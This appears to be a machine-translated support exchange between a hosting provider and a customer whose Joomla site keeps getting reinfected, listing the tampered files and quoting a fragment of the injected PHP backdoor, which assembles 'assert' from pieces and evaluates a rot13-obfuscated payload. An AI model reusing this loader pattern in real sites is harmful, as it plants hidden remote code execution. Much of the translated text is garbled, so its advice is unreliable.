Possible solutions of your questions

all the same. again hacking

we check the website for viruses. go to admin panel and change the subject.

the report

http://mera-tlt.ru/AI-BOLIT-REPORT-__-******-**-**-****_**-**.html

here is a list of files that are changing today.

./index.php
./cli/finder_indexer.php
./plugins/system/ossystem/form/fields/customfooter.php
./plugins/system/nnframework/fields/header.php
./administrator/index.php
./administrator/components/com_modules/views/modules/tmpl/default_batch_footer.php
./administrator/components/com_menus/views/items/tmpl/default_batch_footer.php
./administrator/components/com_tags/views/tags/tmpl/default_batch_footer.php
./administrator/components/com_newsfeeds/views/newsfeeds/tmpl/default_batch_footer.php
./administrator/components/com_osmeta/form/fields/customfooter.php
./administrator/components/com_users/views/users/tmpl/default_batch_footer.php
./administrator/components/com_redirect/views/links/tmpl/default_batch_footer.php
./administrator/components/com_content/views/articles/tmpl/default_batch_footer.php
./administrator/components/com_banners/views/banners/tmpl/default_batch_footer.php
./administrator/components/com_finder/helpers/indexer/indexer.php
./administrator/components/com_finder/controllers/index.php
./administrator/components/com_finder/models/index.php
./administrator/components/com_finder/models/indexer.php
./administrator/components/com_osmap/form/fields/customfooter.php
./administrator/components/com_contact/views/contacts/tmpl/default_batch_footer.php
./administrator/components/com_categories/views/categories/tmpl/default_batch_footer.php
./administrator/templates/isis/index.php
./administrator/templates/system/index.php
./administrator/templates/hathor/index.php
./administrator/templates/web*easy/index.php
./administrator/templates/web*easy/index--w*e.php
./uploads/_thumbs/*ef***.php
./libraries/cms/form/field/headertag.php
./libraries/joomla/document/html/renderer/head.php
./modules/mod_menu/tmpl/default_heading.php
./modules/mod_footer/mod_footer.php
./layouts/joomla/modal/footer.php
./layouts/joomla/modal/header.php
./components/com_jcomments/tpl/default/tpl_index.php
./components/com_jce/editor/libraries/views/plugin/index.php
./templates/mera-tlt/index.php
./templates/protostar/index.php
./templates/beez*/index.php
./templates/__mera-tlt.old/index.php
./templates/system/index.php

here is a virus ./uploads/_thumbs/*ef***.php
 visible to the naked eye

Yes, there is. but this does not solve the problem. after recovery, check the site and change all passwords. proverit users and components.

we recovered. in became the same.

try to change the subject.

in became the same.     mera-tlt.ru it`s already vosstanovleny from the dump site. now again run the test and provide a report. zaidie in admingui  change the subject of the site

you have the website files here such insertion

//###==###
error_reporting(*); ^M
$strings = `as`;$strings .= \"sert\";^M
@$strings(str_rot**(`riny(onfr**_qrpbqr(\"nJLtXTymp*I*XPEcLaLcXFO*VTIwnT*tWTyvqwftsFOyoUAyVUgcMvtuMJ*jqUxbWS*QG**YFHIoVzAfnJIhqS*wnTIwnlWqXFyxnJHbW
//###==###

other backup is unfortunately not. drown the name of the theme.

price files those were changed back in February

you and seyh modules sitetake the insert. even in February and January. you are acetylinic after infection and, therefore, the site was infected again.

the site we launched for You. now check all file and delete them from the code. download website files to your laptop and search for text files

Specify the IP employees.

Inform once you learn.

staff revision yourself will put your ip. the same message to them that You Host with ERA, You will enjoy a discount